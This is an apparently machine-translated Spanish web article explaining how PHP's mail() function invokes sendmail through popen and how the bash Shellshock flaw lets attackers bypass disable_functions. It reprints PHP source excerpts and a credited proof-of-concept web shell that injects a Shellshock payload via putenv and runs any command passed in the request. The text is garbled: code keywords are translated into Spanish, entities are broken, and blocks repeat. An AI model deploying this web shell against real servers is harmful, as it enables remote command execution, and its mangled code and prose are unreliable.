La Red de Conocimientos Pedagógicos - Currículum vitae - ¿Está bloqueado el comando de ejecución de php?

¿Está bloqueado el comando de ejecución de php?

El comando de ejecución de PHP omite Disable_functions

Primero, hablemos brevemente sobre el proceso de llamar a la función mail() en PHP.

Ver código fuente ext/mail.c

Línea 236:

Predeterminado

char * sendmail _ path = INI _ STR ( " sendmail _ ruta ");

char * sendmail _ cmd = NULL

char * sendmail _ ruta = INI _ STR(" sendmail _ ruta "); p>char * sendmail_cmd = NULL

Obtiene la variable sendmail_path de INI. Veamos cómo se explica en php.ini:

Default

solamente. También puede proporcionar parámetros (predeterminado: "sendmail -t -i").

sendmail_path =

Solo Unix. También puede proporcionar parámetros (predeterminado: "sendmail -t -i").

; sendmail_path =

Como puedes ver en los comentarios, el valor predeterminado de send_mail es "sendmail -t -i".

Cuando existe extra_cmd (algunos parámetros adicionales pasados ​​por el usuario), se llama a spprintf para combinar sendmail_path y extra_cmd en la línea de comando real sendmail_cmd. Si no existe, asigne directamente sendmail_path a sendmail_cmd.

Como se muestra a continuación:

Predeterminado

if (! sendmail_path) {

#if (definido PHP_WIN32 || definido NETWARE )

/*Manejar el envío smtp de win anterior*/

if (TSendMail(INI_STR("SMTP "), & ampTSM_err & tsm_errmsg, hdr, sujeto, a, mensaje, NULL, NULL, NULL TSRMLS_CC) == FALLO) {

if (tsm_errmsg) {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", TSM_errmsg

efree); (TSM _ errmsg);

} En caso contrario {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(TSM _ err)) ;

}

MAIL _ RET(0);

}

MAIL _ RET(1

# De lo contrario

MAIL _ RET(0);

#endif

}

if (extra_cmd!= NULL) {

spprintf (& sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd

} else {

sendmail_cmd = sendmail_path

}

if (! sendmail_path) {

#if (definido PHP_WIN32 || definido NETWARE)

/*Manejo del envío smtp antiguo de win*/

if (TSendMail(INI_STR("SMTP "),&TSM_err&tsm_errmsg,hdr,subject,to,message,NULL,NULL,NULL TSRMLS_CC) == FALLO) {

if (tsm_errmsg) {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", TSM_errmsg);

efree(TSM _ errmsg

} De lo contrario {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(TSM _ err));

}

MAIL _ RET(0); }

MAIL _ RET(1);

#De lo contrario

MAIL _ RET(0);

#endif

}

if (extra_cmd! = NULL) {

spprintf(& sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd

} En caso contrario {

sendmail _ cmd); = sendmail_path

}

Luego ejecuta:

Predeterminado

#ifdef PHP_WIN32

sendmail = popen_ex (enviar

mail_cmd, "wb", NULL, NULL TSR mls_CC);

# De lo contrario

/*Porque popen() no indica si la bifurcación interna() no funciona

* (por ejemplo, el shell no se puede ejecutar) lo configuramos explícitamente en 0 para

* Por supuesto, no detectamos ningún valor de errno antiguo. */

errno = 0;

sendmail = popen(sendmail_cmd, " w ");

sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSR mls _ CC

# De lo contrario

/*Porque popen() no lo hizo; señale que si la bifurcación interna() no funciona

* (por ejemplo, el shell no se puede ejecutar), lo configuramos explícitamente en 0 para

* Por supuesto, no detectamos ninguna viejos valores errno. */

errno = 0;

sendmail = popen(sendmail_cmd, "w");

#endif

Lanzar sendmail_cmd Ejecutar para popen.

Si el sh predeterminado es bash, popen se lanzará a la ejecución de bash. Sin embargo, la vulnerabilidad anterior de ruptura de shell bash (CVE-2014-6271) nos hizo usar directamente la función mail() para ejecutar comandos arbitrarios, sin pasar por enable_functions.

Versión afectada: versión php

Método de reparación: Reparación CVE-2014-6271.

Proporcione POC (/Explosives/35146/) de la siguiente manera:

Predeterminado

& lt? Lenguaje de programación del lado del servidor (abreviatura de Preprocesador de hipertexto profesional)

#Título de la vulnerabilidad: vulnerabilidad PHP 5.x Shellshock (evite las funciones_deshabilitadas)

#Nerd de Google: Ninguno

#Fecha:31/10/2014

# Autor del exploit: Ryan King (Starfall)

Página de inicio del proveedor: mand vía CVE-2014-6271 @ mail c: 283.

$tmp = tempnam(",","data");

putenv(" PHP_LOL =(){ x;};$ cmd & gt$ tmp 2 & gt& amp1 ");

//En modo seguro, los usuarios solo pueden cambiar las variables de entorno cuyos nombres

//comience con el prefijo proporcionado por esta directiva.

//De forma predeterminada, los usuarios solo pueden configurar

//Comenzar con PHP_ (como PHP_FOO=BAR).

Nota: Si esta directiva está vacía,

// PHP permitirá al usuario modificar cualquier variable de entorno.

mail("a@127.0.0.1 ","","","-bv"); // -bv para que en realidad no enviemos ningún correo

$ salida = @ archivo _ get _ contenido($ tmp);

@ desvincular($ tmp

if ($ salida! = " ") devuelve $ salida < / p>

De lo contrario, se devuelve "sin salida o ilegal";

}

echo shell shock($ _ REQUEST[" cmd "]);

& gt

& lt? Lenguaje de programación del lado del servidor (abreviatura de Preprocesador de hipertexto profesional)

#Título de la vulnerabilidad: vulnerabilidad PHP 5.x Shellshock (evite las funciones_deshabilitadas)

#Nerd de Google: Ninguno

#Fecha:31/10/2014

# Autor del exploit: Ryan King (Starfall)

Página de inicio del proveedor: mand vía CVE-2014-6271 @ mail c: 283.

$tmp = tempnam(",","data");

putenv(" PHP_LOL =(){ x;};$ cmd & gt$ tmp 2 & gt& amp1 ");

//En modo seguro, los usuarios solo pueden cambiar las variables de entorno cuyos nombres

//comience con el prefijo proporcionado por esta directiva.

//De forma predeterminada, los usuarios solo pueden configurar

//Comenzar con PHP_ (como PHP_FOO=BAR). Nota: Si esta directiva está vacía,

// PHP permitirá al usuario modificar cualquier variable de entorno.

mail("a@127.0.0.1 ","","","-bv"); // -bv para que en realidad no enviemos ningún correo

$ salida = @ archivo _ get _ contenido($ tmp);

@ desvincular($ tmp

if ($ salida! = " ") devuelve $ salida < / p>

De lo contrario, se devuelve "sin salida o ilegal";

}

echo shell shock($ _ REQUEST[" cmd "]);

& gt

[via@phith0n ]